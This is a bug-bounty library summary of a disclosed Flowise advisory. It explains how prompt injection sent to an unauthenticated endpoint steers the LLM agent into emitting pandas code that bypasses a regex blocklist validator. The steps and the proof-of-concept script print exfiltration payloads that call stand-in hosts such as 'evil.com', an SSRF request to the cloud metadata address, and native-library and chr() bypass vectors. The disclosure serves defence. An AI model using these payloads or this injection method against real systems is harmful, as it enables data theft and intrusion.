# Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass

Flowise CSV/Airtable agents' regex blocklist validator is bypassed via prompt injection, letting unauthenticated attackers exfiltrate datasets and SSRF cloud metadata through pandas URL functions.

- Payout: Research
- Severity: critical
- Program: Flowise
- Found by: p80n-sec
- Disclosed: 2026-10-07
- CVE: CVE-2026-73487
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-w7x8-q2gp-5cgg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-w7x8-q2gp-5cgg
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:critical tech:llm tech:python technique:source-review vuln:prompt-injection vuln:rce vuln:ssrf

**Target:** CSV Agent / Airtable Agent Python code validator (Pyodide execution)
**Root cause:** validatePythonCodeForDataFrame() uses a 38-pattern regex blocklist that omits URL-accepting pandas functions (read_json/read_csv/read_html/read_fwf), np.ctypeslib, and chr(); \bimport\b also fails to match importlib. Pre-imported pd/np give network I/O without any import keyword.
**Steps:**
1. POST to unauthenticated `/api/v1/prediction/CHATFLOW_UUID` with a `question` containing prompt injection steering the LLM to emit `pd.read_json("http://ATTACKER.example.com/exfil?d=" + result[:500])`
2. Validator runs all 38 regex checks; none match since no import/eval/exec/open/os./urllib./requests. appear
3. Executor prepends `import pandas as pd\nimport numpy as np` and runs code via `pyodide.runPythonAsync()`
4. Server issues outbound GET to attacker host with dataset in query string; attacker reads it from logs/Collaborator
5. For SSRF, inject `pd.read_csv("http://169.254.169.254/latest/meta-data/")` and read response/error via agent answer
6. Verify bypasses locally with `docker exec CONTAINER node -e` calling validatePythonCodeForDataFrame on each payload
**How found:** Reporter read the validator source, noticed it was a blocklist of 38 regexes, and reasoned about what the pre-imported pandas/numpy API surface exposes: URL-fetching read_* functions, ctypeslib, and chr() string construction. Also spotted the \bimport\b word-boundary edge case failing on importlib, then tested each vector against the compiled validator.
**Exploitation:** Unauthenticated attacker sends prompt injection to the prediction endpoint; the LLM emits pandas code that the blocklist validator passes; Pyodide executes it, making attacker-controlled outbound HTTP requests that carry the full DataFrame (exfil) or hit internal/metadata endpoints (SSRF), with results returned in the agent's answer.
**Escalation:** Chains prompt injection -> validator bypass -> data exfiltration/SSRF; np.ctypeslib and importlib/chr() vectors could extend toward native library loading and further code execution.
**Insight:** When a sandbox pre-imports libraries for the attacker, the blocklist must cover that library's entire API surface — pandas read_* functions are network primitives. Also, \bimport\b never matches importlib; word-boundary regexes have exploitable edges.

## Proof of concept (copied exactly from the original report)

**Validator bypass test script with five vectors**

```
docker exec CONTAINER node -e '
  const { validatePythonCodeForDataFrame } = require(
    "/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/pythonCodeValidator.js"
  );
  const tests = [
    ["pd.read_json exfil", "pd.read_json(\"http://evil.com/?d=\" + df.to_json()[:500])"],
    ["pd.read_csv SSRF",   "pd.read_csv(\"http://169.254.169.254/latest/meta-data/\")"],
    ["np.ctypeslib",       "np.ctypeslib.load_library(\"libc\", \"/usr/lib\")"],
    ["chr() construction", "fn=chr(101)+chr(118)+chr(97)+chr(108)"],
    ["pd.read_html exfil", "pd.read_html(\"http://evil.com/?d=\" + df.to_html()[:500])"],
    ["CONTROL: import os", "import os; os.system(\"id\")"]
  ];
  for (const [name, code] of tests) {
    const r = validatePythonCodeForDataFrame(code);
    console.log(r.valid ? "PASS (bypassed)" : "BLOCKED       ", name);
  }
'
```